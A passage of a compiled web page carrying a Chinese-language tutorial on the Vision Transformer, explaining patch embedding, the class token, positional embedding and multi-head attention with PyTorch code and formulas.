",(0,i.jsx)(n.code,{children:"token"}),"\uff0c\u4ee5\u4fbf\u4e8e\u548c\u539f\u672c Transformer \u7684\u672f\u8bed\u8fdb\u884c\u7edf\u4e00\uff08\u4ee3\u7801\u4e2d\u9ed8\u8ba4\u7684 $D$ \u4ecd\u7136\u4e3a $768$\u3002\u6211\u4eec\u8ba4\u4e3a\uff0c\u4e3a\u4e86\u4e0d\u635f\u5931\u4fe1\u606f\uff0c\u8fd9\u91cc $D$ \u6ee1\u8db3\u5927\u4e8e\u7b49\u4e8e $768$ \u5373\u53ef\uff09\u3002\u5bf9\u5e94\u6587\u4e2d\u516c\u5f0f\uff0c\u4e0a\u8ff0\u64cd\u4f5c\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a\n$$\n\\begin{align}\n[\\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}_p^2\\mathbf{E}; \\cdots; \\mathbf{x}_p^N\\mathbf{E}], \\quad \\mathbf{E}\\in\\mathbb{R}^{(P^2\\cdot C)\\times D}\u3002\n\\end{align}\n$$"]}),"\n",(0,i.jsxs)(n.p,{children:["\u4ee5\u4e0a\u662f\u6309\u7167\u539f\u8bba\u6587\u5bf9",(0,i.jsx)(n.strong,{children:"\u5207\u5206\u548c\u6620\u5c04"}),"\u7684\u8bb2\u89e3\uff0c\u5728\u5b9e\u9645\u7684\u4ee3\u7801\u5b9e\u73b0\u8fc7\u7a0b\u4e2d\uff0c\u5207\u5206\u548c\u6620\u5c04\u5b9e\u9645\u4e0a\u662f\u901a\u8fc7\u4e00\u4e2a\u4e8c\u7ef4\u5377\u79ef ",(0,i.jsx)(n.code,{children:"nn.Conv2d()"})," \u4e00\u6b65\u5b8c\u6210\u7684\u3002\u4e3a\u4e86\u5b9e\u73b0\u4e00\u6b65\u64cd\u4f5c\uff0c\u4f5c\u8005\u5c06\u5377\u79ef\u6838\u7684\u5927\u5c0f ",(0,i.jsx)(n.code,{children:"kernal_size"})," \u76f4\u63a5\u8bbe\u7f6e\u4e3a\u4e86 ",(0,i.jsx)(n.code,{children:"patch_size"}),"\uff0c\u5373 $P=16$\u3002\u7136\u540e\uff0c\u5c06\u5377\u79ef\u6838\u7684\u6b65\u957f ",(0,i.jsx)(n.code,{children:"stride"})," \u4e5f\u8bbe\u7f6e\u4e3a\u4e86\u540c\u6837\u7684 ",(0,i.jsx)(n.code,{children:"patch_size"}),"\uff0c\u8fd9\u6837\u5c31\u5b9e\u73b0\u4e86\u4e0d\u91cd\u590d\u7684\u5207\u5272\u56fe\u7247\u3002\u800c\u5377\u79ef\u7684\u7279\u5f81\u8f93\u5165\u548c\u8f93\u51fa\u7ef4\u5ea6\uff0c\u5206\u522b\u8bbe\u4e3a\u4e86 $C=3$ \u548c $D=768$\uff0c\u5bf9\u5e94\u4e0b\u65b9\u4ee3\u7801\u7684 ",(0,i.jsx)(n.code,{children:"in_c"})," \u548c ",(0,i.jsx)(n.code,{children:"embed_dim"}),"\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u4e00\u5f20 $1 \\times 3 \\times 224 \\times 224$ \u7684\u56fe\u50cf\uff08\u5176\u4e2d $1$ \u662f ",(0,i.jsx)(n.code,{children:"batch_size"})," \u7684\u7ef4\u5ea6\uff09\uff0c\u7ecf\u8fc7\u4e0a\u8ff0\u5377\u79ef\u64cd\u4f5c\u5f97\u5230 $1 \\times 768 \\times 14 \\times 14$ \u7684\u5f20\u91cf\u3002\uff08\u4ee3\u7801\u4e2d\u5c06 $14 \\times 14 = 196$ \u5f53\u4f5c ",(0,i.jsx)(n.code,{children:"grid"})," \u7684\u4e2a\u6570\uff0c\u5373 ",(0,i.jsx)(n.code,{children:"grid_size=(14, 14)"}),"\uff09\u7136\u540e\uff0c\u5bf9\u5176\u8fdb\u884c\u62c9\u5e73 ",(0,i.jsx)(n.code,{children:"flatten(2)"})," \u5f97\u5230 $1 \\times 768 \\times 196$ \u7684\u5f20\u91cf\u3002\u56e0\u4e3a Transformer \u9700\u8981\u5c06\u5e8f\u5217\u7ef4\u5ea6\u8c03\u6574\u5230\u524d\u9762\uff0c\u6211\u4eec\u518d\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"transpose(1, 2)"})," \u8c03\u6574\u7279\u5f81\u548c\u5e8f\u5217\u7ef4\u5ea6\uff0c\u6700\u7ec8\u5f97\u5230\u7684\u5f20\u91cf\u5927\u5c0f\u4e3a $1 \\times 196 \\times 768$\u3002\u5207\u5206\u3001\u6620\u5c04\u3001\u62c9\u5e73\u548c\u7ef4\u5ea6\u8c03\u6574\u7edf\u7edf\u7ecf\u8fc7\u4e0b\u9762\u4e00\u6b65\u64cd\u4f5c\u5f97\u5230\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"x = self.proj(x).flatten(2).transpose(1, 2)\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u4ee3\u7801\u4e2d\uff0c\u8fd9\u4e9b\u64cd\u4f5c\u5168\u90e8\u88ab\u5199\u5728\u540d\u4e3a ",(0,i.jsx)(n.code,{children:"PatchEmbed"})," \u7684\u6a21\u5757\u4e2d\uff0c\u5176\u5177\u4f53\u7684\u5b9e\u73b0\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class PatchEmbed(nn.Module):\n """\n Image --\x3e Patch Embedding --\x3e Linear Proj --\x3e Pos Embedding\n Image size -> [224,224,3]\n Patch size -> 16*16\n Patch num -> (224^2)/(16^2)=196\n Patch dim -> 16*16*3 =768\n Patch Embedding: [224,224,3] -> [196,768]\n Linear Proj: [196,768] -> [196,768]\n \tPositional Embedding: [197,768] -> [196,768]\n """\n def __init__(self, img_size=224, patch_size=16, in_c=3, embed_dim=768, norm_layer=None):\n """\n Args:\n img_size: \u9ed8\u8ba4\u53c2\u6570224\n patch_size: \u9ed8\u8ba4\u53c2\u6570\u662f16\n in_c: \u8f93\u5165\u7684\u901a\u9053\u6570\n embed_dim: 16*16*3 = 768\n norm_layer: \u662f\u5426\u4f7f\u7528norm\u5c42\uff0c\u9ed8\u8ba4\u4e3a\u5426\n """\n super().__init__()\n img_size = (img_size, img_size) # -> img_size = (224,224)\n patch_size = (patch_size, patch_size) # -> patch_size = (16,16)\n self.img_size = img_size # -> (224,224)\n self.patch_size = patch_size # -> (16,16)\n self.grid_size = (img_size[0] // patch_size[0], img_size[1] // patch_size[1]) # -> grid_size = (14,14)\n self.num_patches = self.grid_size[0] * self.grid_size[1] # -> num_patches = 196\n # Patch+linear proj\u7684\u8fd9\u4e2a\u64cd\u4f5c [224,224,3] --\x3e [14,14,768]\n self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)\n # \u5224\u65ad\u662f\u5426\u6709norm_layer\u5c42\uff0c\u8981\u662f\u6ca1\u6709\u4e0d\u6539\u53d8\u8f93\u5165\n self.norm = norm_layer(embed_dim) if norm_layer else nn.Identity()\n\n def forward(self, x):\n # \u8ba1\u7b97\u5404\u4e2a\u7ef4\u5ea6\u7684\u5927\u5c0f\n B, C, H, W = x.shape\n assert H == self.img_size[0] and W == self.img_size[1], \\\n f"Input image size ({H}*{W}) doesn\'t match model ({self.img_size[0]}*{self.img_size[1]})."\n \n # flatten: [B, C, H, W] -> [B, C, HW], flatten(2)\u4ee3\u8868\u7684\u662f\u4ece2\u4f4d\u7f6e\u5f00\u59cb\u5c55\u5f00\n # eg: [1,3,224,224] --\x3e [1,768,14,14] -flatten->[1,768,196]\n # transpose: [B, C, HW] -> [B, HW, C]\n # eg: [1,768,196] -transpose-> [1,196,768]\n x = self.proj(x).flatten(2).transpose(1, 2)\n x = self.norm(x)\n return x\n'})}),"\n",(0,i.jsxs)(n.p,{children:["**\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e00\u6b65\u662f\u4e0d\u8fdb\u884c ",(0,i.jsx)(n.code,{children:"layer_norm"})," \u64cd\u4f5c\u7684\uff0c\u5373\u5b83\u88ab\u8bbe\u7f6e\u4e3a ",(0,i.jsx)(n.code,{children:"nn.Identity()"}),"\u3002\u5bf9\u4e8e ",(0,i.jsx)(n.code,{children:"layer_norm"}),"\uff0c\u6211\u4eec\u4f1a\u5728\u4e0b\u9762\u8fdb\u884c\u8be6\u7ec6\u7684\u8bb2\u89e3\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f-class-token--postional-embedding",children:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f Class Token + Postional Embedding"}),"\n",(0,i.jsxs)(n.p,{children:["\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u5de6\u4fa7\u7070\u8272\u90e8\u5206\u4e3a\u52a0\u5165\u5206\u7c7b\u8868\u5f81\uff0c\u4e2d\u95f4\u7d2b\u8272\u90e8\u5206\u4e3a\u52a0\u5165\u4f4d\u7f6e\u4fe1\u606f\u3002\n",(0,i.jsx)(n.img,{alt:"\u56fe\u6e90amaarora",src:s(87162).A+"",width:"6020",height:"1343"})]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"\u5206\u7c7b\u8868\u5f81\uff1aClass Token"}),"\n\u4e3a\u4e86\u5b9e\u73b0\u56fe\u50cf\u5206\u7c7b\uff0c\u6211\u4eec\u5728\u5207\u5206\u548c\u6620\u5c04\u540e\u7684\u5411\u91cf $[\\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}",(0,i.jsxs)(n.em,{children:["p^2\\mathbf{E}; \\cdots; \\mathbf{x}",(0,i.jsxs)(n.em,{children:["p^N\\mathbf{E}]$ \u4e2d\u52a0\u5165\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"class token"})," $\\mathbf{x}"]}),"\\text{class} \\in \\mathbb{R}^{D}$ \u4f5c\u4e3a\u5206\u7c7b\u8868\u5f81\uff08\u5982\u4e0a\u56fe\u4e2d\u6700\u5de6\u4fa7\u6df1\u7070\u8272\u6846\u6240\u793a\uff09\u3002\u5c06\u8fd9\u4e2a\u8868\u5f81\u653e\u7f6e\u5728\u5e8f\u5217\u7684\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\u4e0a\uff0c\u6211\u4eec\u5c31\u5f97\u5230\u4e00\u4e2a\u7ef4\u5ea6\u4e3a $(196+1) \\times 768$ \u7684\u65b0\u5f20\u91cf\uff1a\n$$\n\\begin{align}\n[\\mathbf{x}"]}),"{\\text{class}}; \\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}_p^2\\mathbf{E}; \\cdots; \\mathbf{x}_p^N\\mathbf{E}]\n\\end{align}\n$$\n\u5bf9\u4e8e\u5177\u4f53\u7684\u4ee3\u7801\u5b9e\u73b0\uff0c\u6211\u4eec\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"nn.Parameter(torch.zeros(1, 1, 768))"})," \u5b9e\u4f8b\u5316\u4e00\u4e2a\u53ef\u5b66\u4e60\u7684 ",(0,i.jsx)(n.code,{children:"cls_token"}),"\uff0c\u7136\u540e\u5c06\u8fd9\u4e2a ",(0,i.jsx)(n.code,{children:"cls_token"})," \u6309\u7167 ",(0,i.jsx)(n.code,{children:"batch_size = x.shape[0]"})," \u8fdb\u884c\u590d\u5236\uff0c\u6700\u540e\u5c06\u5176\u548c\u4e4b\u524d\u7ecf\u8fc7\u5207\u5206\u548c\u6620\u5c04\u7684 ",(0,i.jsx)(n.code,{children:"x"})," \u5e76\u5728\u4e00\u8d77 ",(0,i.jsx)(n.code,{children:" torch.cat((cls_token, x), dim=1)"}),"\u3002\u5176\u5b8c\u6574\u4ee3\u7801\uff0c\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"cls_token = nn.Parameter(torch.zeros(1, 1, 768)) # -> cls token\nnn.init.trunc_normal_(self.cls_token, std=0.02) # \u521d\u59cb\u5316\ncls_token = cls_token.expand(x.shape[0], -1, -1) # (1,1,768) -> (128,1,768)\nx = torch.cat((cls_token, x), dim=1) # [128, 197, 768]\n"})}),"\n",(0,i.jsxs)(n.p,{children:["**\u5176\u5b9e\u4e5f\u53ef\u4ee5\u4e0d\u52a0\u5165\u8fd9\u4e2a ",(0,i.jsx)(n.code,{children:"cls token"}),"\uff0c\u6211\u4eec\u53ef\u4ee5\u5bf9\u8f93\u51fa ",(0,i.jsx)(n.code,{children:"token"})," \u505a ",(0,i.jsx)(n.code,{children:"GAP(Global Average Pooling)"}),"\uff0c\u7136\u540e\u5bf9 ",(0,i.jsx)(n.code,{children:"GAP"})," \u7684\u7ed3\u679c\u8fdb\u884c\u5206\u7c7b\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"\u4f4d\u7f6e\u4fe1\u606f\uff1aPostional Embedding"}),"\n\u56fe\u50cf\u548c\u6587\u672c\u4e00\u6837\u4e5f\u9700\u8981\u6ce8\u610f\u987a\u5e8f\u95ee\u9898\uff0c\u56e0\u6b64\u4f5c\u8005\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"Position Embedding"})," $\\mathbf{E}_{\\text{pos}}\\in\\mathbb{R}^{(N + 1)\\times D}$ \u52a0\u5165\u4f4d\u7f6e\u7f16\u7801\u4fe1\u606f\u3002\u8fd9\u4e2a ",(0,i.jsx)(n.code,{children:"Position Embedding"})," \u548c\u4e0a\u9762\u5f97\u5230\u7684\u5206\u7c7b\u8868\u5f81\u5f20\u91cf\uff0c\u76f4\u63a5\u76f8\u52a0\uff1a\n$$\n\\begin{align}\n\\mathbf{z}",(0,i.jsx)(n.em,{children:"0 &= [\\mathbf{x}"}),"{\\text{class}}; \\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}",(0,i.jsxs)(n.em,{children:["p^2\\mathbf{E}; \\cdots; \\mathbf{x}",(0,i.jsx)(n.em,{children:"p^N\\mathbf{E};] + \\mathbf{E}"}),"{\\text{pos}}, & \\mathbf{E}&\\in\\mathbb{R}^{(P^2\\cdot C)\\times D}, \\mathbf{E}"]}),"{\\text{pos}}\\in\\mathbb{R}^{(N + 1)\\times D}\n\\end{align}\n$$"]}),"\n",(0,i.jsxs)(n.p,{children:["\u4e0e Transformer \u4f7f\u7528\u4f59\u5f26\u4f4d\u7f6e\u7f16\u7801\u4e0d\u540c\u7684\u662f\uff0cViT \u901a\u8fc7",(0,i.jsx)(n.code,{children:"nn.Parameter()"}),"\u5b9e\u73b0\u4e86\u4e00\u4e2a\u53ef\u4ee5\u5b66\u4e60\u7684\u4f4d\u7f6e\u7f16\u7801\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"num_patches = 196\npos_embed = nn.Parameter(torch.zeros(1, num_patches + 1, 768))\nx = x + pos_embed\n"})}),"\n",(0,i.jsxs)(n.p,{children:["**\u8fd9\u91cc ",(0,i.jsx)(n.code,{children:"pos_embed"})," \u5728 ",(0,i.jsx)(n.code,{children:"batch_size"})," \u7684\u7ef4\u5ea6\u8fdb\u884c\u4e86 boardcast\uff0c\u6240\u4ee5\u6240\u6709\u7684\u6837\u672c\u90fd\u662f\u540c\u6837\u7684 ",(0,i.jsx)(n.code,{children:"pos_embed"}),"\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"transformer-encoder",children:"Transformer Encoder"}),"\n",(0,i.jsxs)(n.p,{children:["\u4e0b\u4e00\u6b65\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u5e8f\u5217 $\\mathbf{z}",(0,i.jsxs)(n.em,{children:["0$ \u8f93\u5165 Transformer Encoder \u5373\u53ef\u3002\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u6bcf\u4e2a Transformer Encoder \u7531 Multi-head Attention\u3001MLP\u3001Norm (Layer Norm,LN) \u5e76\u5916\u52a0 shortcut \u8fde\u63a5\u5b9e\u73b0\u3002\n$$\n\\begin{align}\n\\mathbf{z}'",(0,i.jsx)(n.em,{children:"l &= \\text{MSA}(\\text{LN}(\\mathbf{z}"}),"{l-1})) + \\mathbf{z}"]}),"{l-1}, & l &=1\\dots L, \\\n\\mathbf{z}_l &= \\text{MLP}(\\text{LN}(\\mathbf{z}'_l)) + \\mathbf{z}'_l, & l &=1\\dots L, \\\n\\mathbf{y} &= \\text{LN}(\\mathbf{z}_L^0)\n\\end{align}\n$$"]}),"\n",(0,i.jsxs)(n.center,{children:["\n",(0,i.jsxs)(n.figure,{children:["\n",(0,i.jsx)(n.img,{src:"figures/vit_transformer.png",",":"",style:{zoom:"37%"}}),"\n"]}),"\n"]}),"\n\u4e0b\u9762\u6211\u4eec\u5c06\u5bf9\u8fd9\u4e9b\u6a21\u5757\u9010\u4e00\u8fdb\u884c\u8bb2\u89e3\u3002\n",(0,i.jsx)(n.h3,{id:"multi-head-attention",children:"Multi-head Attention"}),"\n",(0,i.jsx)(n.p,{children:"Multi-head Attention \u6216\u8005\u53eb\u505a Multi-head Self-Attention (MSA) \u662f\u7531\u591a\u4e2a Self-attention (SA) \u6a21\u5757\u7ec4\u6210\uff0c\u5b83\u4eec\u7684\u6846\u56fe\u53ef\u7531\u4e0b\u9762\u6240\u793a\uff0c\u5176\u4e2d\u5de6\u4fa7\u4e3a SA\uff0c\u53f3\u4fa7\u4e3a MSA\u3002"}),"\n",(0,i.jsxs)(n.center,{children:["\n",(0,i.jsxs)(n.figure,{children:["\n",(0,i.jsx)(n.img,{src:"figures/vit_sa.png",",":"",style:{zoom:"37%"}}),"\n\xb7\n\xb7\n\xb7\n\xb7\n\xb7\n\xb7\n",(0,i.jsx)(n.img,{src:"figures/vit_msa.png",",":"",style:{zoom:"30%"}}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u4e8e\u4e00\u4e2a\u6807\u51c6\u7684 SA \u6a21\u5757\uff0c\u6211\u4eec\u901a\u8fc7\u5bf9\u8f93\u5165\u5f20\u91cf $\\mathbf{z}$ \u8fdb\u884c\u4e00\u4e2a\u6620\u5c04 $\\mathbf{W_{SA}}$ \u5f97\u5230 $Q, K, V$\n$$\n[Q, K, V] = \\mathbf{z} \\mathbf{W}_{\\text{SA}}.\n$$\n\u5bf9\u4e8e MSA\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u5176\u8f93\u5165\u518d\u6b21\u8fdb\u884c\u5207\u5206\u4e3a $k$ \u4e2a\u90e8\u5206 \uff08$k=$",(0,i.jsx)(n.code,{children:"self.num_heads"}),"\uff09\uff0c\u800c\u6bcf\u4e2a\u90e8\u5206\u7684\u7ef4\u5ea6\u4e3a\u539f\u672c\u7ef4\u5ea6\u7684 $k$ \u5206\u4e4b\u4e00\uff0c\u5373 ",(0,i.jsx)(n.code,{children:"C // self.num_heads"}),"\u3002\u7136\u540e\uff0c\u5c06\u7ef4\u5ea6\u8fdb\u884c\u8c03\u6574\uff0c\u5373 ",(0,i.jsx)(n.code,{children:"q, k, v"})," \u5230\u7b2c 1 \u4e2a\u7ef4\u5ea6\uff0c \u6279\u5927\u5c0f ",(0,i.jsx)(n.code,{children:"batch_size"})," \u4e3a\u7b2c 2 \u4e2a\u7ef4\u5ea6\uff0c\u5934\u7684\u6570\u91cf\u6570\u91cf ",(0,i.jsx)(n.code,{children:"num_heads"})," \u4e3a\u7b2c 3 \u4e2a\u7ef4\u5ea6\uff0c\u5207\u5206\u5757\u7684\u6570\u91cf ",(0,i.jsx)(n.code,{children:"num_patches"})," \u548c\u6bcf\u4e2a\u5934\u7684\u7279\u5f81\u7ef4\u5ea6 ",(0,i.jsx)(n.code,{children:"embed_dim_per_head"})," \u4e3a\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\u3002\u8fd9\u79cd\u7ef4\u5ea6\u8c03\u6574\uff0c\u5c06\u65b9\u4fbf\u63d0\u53d6 ",(0,i.jsx)(n.code,{children:"q, k, v"}),"\uff0c\u4ee5\u53ca\u540e\u9762\u7684\u6ce8\u610f\u529b\u8ba1\u7b97\u3002\u4e0a\u8ff0\u6b65\u9aa4\u5728\u4ee3\u7801\u4e2d\u5bf9\u5e94\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\nqkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\nq, k, v = qkv[0], qkv[1], qkv[2] # seperate q, k, v\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u73b0\u5728\uff0c\u5982\u679c\u6211\u4eec\u5c06\u6bcf\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"head"}),"\uff0c\u770b\u4f5c\u4e00\u4e2a\u72ec\u7acb\u7684\u8ba1\u7b97\u5355\u5143\u3002\u6211\u4eec\u53ef\u4ee5\u5bf9\u6bcf\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"head"})," \u8fdb\u884c\u6807\u51c6\u7684 SA \u8ba1\u7b97\n$$\nAttention(Q, K, V) = softmax(\\frac{Q K^T}{\\sqrt {D_k}}) \\cdot V\n$$\n\u7136\u540e\uff0c\u8fd9\u4e9b ",(0,i.jsx)(n.code,{children:"head"})," \u4f1a\u88ab\u62fc\u63a5\u5728\u4e00\u8d77\uff0c\u8ba1\u7b97\u6700\u7ec8\u7684\u8f93\u51fa\uff1a\n$$\n\\mathrm{MultiHead}(Q, K, V) = \\mathrm{Concat}(\\mathrm{head_1}, ...,\n\\mathrm{head_h})W^O \\\n\\text{where}~\\mathrm{head_i} = \\mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i)\n$$"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5176\u4e2d $W^O$ \u4ee3\u8868\u7684\u662f\u7ebf\u6027\u53d8\u6362\u5c42\uff0c$head_i$ \u4ee3\u8868\u7684\u662f\u6bcf\u4e2a ",(0,i.jsx)(n.code,{children:"head"})," \u7684\u8f93\u51fa\uff0c\u5176\u4e2d $W^Q_i$\uff0c$W^K_i$, $W^V_i$\uff0c\u7b49\u4ef7\u4e8e\u6bcf\u4e2a ",(0,i.jsx)(n.code,{children:"head"})," \u7684\u7ebf\u6027\u6620\u5c04\u6743\u91cd\uff08\u5982\u4e0a\u9762\u8ba1\u7b97 ",(0,i.jsx)(n.code,{children:"qkv"}),"\u6240\u8bb2\uff0c\u5b9e\u9645\u4ee3\u7801\u5b9e\u73b0\u4e2d\uff0c\u6211\u4eec\u4f1a\u5148\u4e00\u8d77\u8ba1\u7b97 ",(0,i.jsx)(n.code,{children:"qkv"}),"\uff0c\u518d\u8fdb\u884c ",(0,i.jsx)(n.code,{children:"head"})," \u7684\u5207\u5206\uff09\u3002\u5982\u679c\u6309\u7167\u9ed8\u8ba4\u5b9e\u73b0\uff0c\u4e00\u822c\u5207\u5206\u4e3a $k=8$ \u4e2a\u5934\uff0c\u5176\u4e2d $D_k=D/k = 768/8=96$\uff0c\u662f\u4e3a\u4e86\u5f52\u4e00\u5316\u70b9\u4e58\u7684\u7ed3\u679c\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u4ee3\u7801\u5b9e\u73b0\u7684\u65f6\u5019\uff0c\u4f5c\u8005\u5145\u5206\u8003\u8651\u4e86\u591a\u5934\u7684\u5e76\u884c\u8ba1\u7b97\u3002\u901a\u8fc7\u70b9\u4e58\u7684\u5f62\u5f0f\u5bf9\u6240\u6709\u7684 ",(0,i.jsx)(n.code,{children:"head"})," \u4e00\u8d77\u8ba1\u7b97\u76f8\u5173\u6027 ",(0,i.jsx)(n.code,{children:"(q @ k.transpose(-2, -1))"}),"\uff0c\u7136\u540e\u7ecf\u8fc7 ",(0,i.jsx)(n.code,{children:"softmax"})," \u5f97\u5230\u6743\u91cd ",(0,i.jsx)(n.code,{children:"attn"})," \uff08\u8fd9\u4e9b\u6743\u91cd\u7684\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_heads, num_patches + 1, num_patches + 1]"}),"\uff09\u3002\n\u4e4b\u540e\u5c06\u8fd9\u4e9b\u6743\u91cd ",(0,i.jsx)(n.code,{children:"attn"})," \u548c ",(0,i.jsx)(n.code,{children:"v"})," \uff08\u5176\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_heads, num_patches+1, embed_dim_per_head]"}),"\uff09 \u8fdb\u884c\u70b9\u4e58\uff0c\u5f97\u5230\u6ce8\u610f\u529b\u7684\u8f93\u51fa\u7ed3\u679c\u3002\u8fd9\u91cc\u5728\u70b9\u4e58\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ea\u9700\u8981\u770b ",(0,i.jsx)(n.code,{children:"attn"})," \u548c ",(0,i.jsx)(n.code,{children:"v"}),"\u7684\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\uff0c\u5206\u522b\u4e3a",(0,i.jsx)(n.code,{children:"[num_patches + 1, num_patches + 1]"})," \u548c ",(0,i.jsx)(n.code,{children:"[num_patches+1, embed_dim_per_head]"}),"\uff0c\u7ef4\u6301\u5176\u4ed6\u7ef4\u5ea6\u4e0d\u53d8\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u8f93\u51fa\u7684\u7ed3\u679c\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_heads, num_patches + 1, embed_dim_per_head]"}),"\u3002\n\u6700\u540e\uff0c\u6211\u4eec\u901a\u8fc7\u5c06\u7279\u5f81\u7ef4\u5ea6\u548c\u591a\u5934\u7ef4\u5ea6\u4ea4\u6362 ",(0,i.jsx)(n.code,{children:"transpose(1, 2)"})," \u548c \u91cd\u7ec4\u7b2c2\u4e2a\u53ca\u540e\u9762\u6240\u6709\u7684\u7ef4\u5ea6 ",(0,i.jsx)(n.code,{children:"reshape(B, N, C)"}),"\uff0c\u5c31\u53ef\u4ee5\u5f97\u5230\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_patches + 1, total_embed_dim]"})," \u548c\u4e0a\u9762\u516c\u5f0f\u76f8\u540c\u7684\u5e76\u884c\u591a\u5934\u8ba1\u7b97\u7ed3\u679c\u3002\u5176\u5b8c\u6574\u5b9e\u73b0\u5982\u4e0b\u6240\u793a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"class Attention(nn.Module):\n def __init__(self,\n dim, # \u8f93\u5165token\u7684dim\n num_heads=8, # attention head\u7684\u4e2a\u6570\n qkv_bias=False, # \u662f\u5426\u4f7f\u7528qkv bias\n qk_scale=None,\n attn_drop_ratio=0.,\n proj_drop_ratio=0.):\n super(Attention, self).__init__()\n self.num_heads = num_heads\n # \u8ba1\u7b97\u6bcf\u4e00\u4e2ahead\u5904\u7406\u7684\u7ef4\u5ea6head_dim = dim // num_heads --\x3e 768/8 = 96\n head_dim = dim // num_heads\n self.scale = qk_scale or head_dim ** -0.5 # \u6839\u4e0bdk\u64cd\u4f5c\n # \u4f7f\u7528nn.Linear\u751f\u6210w_q,w_k,w_v\uff0c\u56e0\u4e3a\u672c\u8d28\u4e0a\u6bcf\u4e00\u4e2a\u53d8\u6362\u77e9\u9635\u90fd\u662f\u7ebf\u6027\u53d8\u6362\uff0c\n self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop_ratio)\n self.proj = nn.Linear(dim, dim)\n self.proj_drop = nn.Dropout(proj_drop_ratio)\n\n def forward(self, x):\n # [batch_size, num_patches + 1, total_embed_dim]\n # total_embed_dim\u4e0d\u662f\u4e00\u5f00\u59cb\u5c55\u5f00\u7684\u90a3\u4e2a\u7ef4\u5ea6\uff0c\u662f\u7ecf\u8fc7\u4e86\u4e00\u4e2a\u7ebf\u6027\u53d8\u6362\u5c42\u5f97\u5230\u7684\n B, N, C = x.shape\n\n # [batch_size, num_patches+1, total_embed_dim] -qkv()-> [batch_size, num_patches + 1, 3 * total_embed_dim]\n # reshape: -> [batch_size, num_patches + 1, 3, num_heads, embed_dim_per_head]\n # permute: -> [3, batch_size, num_heads, num_patches + 1, embed_dim_per_head]\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\n # q,k,v = [batch_size, num_heads, num_patches + 1, embed_dim_per_head]\n q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)\n\n # transpose(-2,-1)\u5728\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\u8fdb\u884c\u64cd\u4f5c\uff0c\u8f93\u5165\u7684\u5f62\u72b6[batch_size,num_heads,num_patches+1,embed_dim_per_head]\n # transpose: -> [batch_size, num_heads, embed_dim_per_head, num_patches + 1]\n # @: multiply -> [batch_size, num_heads, num_patches + 1, num_patches + 1]\n attn = (q @ k.transpose(-2, -1)) * self.scale\n attn = attn.softmax(dim=-1)\n attn = self.attn_drop(attn)\n\n # @: multiply -> [batch_size, num_heads, num_patches + 1, embed_dim_per_head]\n # transpose: -> [batch_size, num_patches + 1, num_heads, embed_dim_per_head]\n # reshape: -> [batch_size, num_patches + 1, total_embed_dim]\n x = (attn @ v).transpose(1, 2).reshape(B, N, C)\n x = self.proj(x)\n x = self.proj_drop(x)\n return 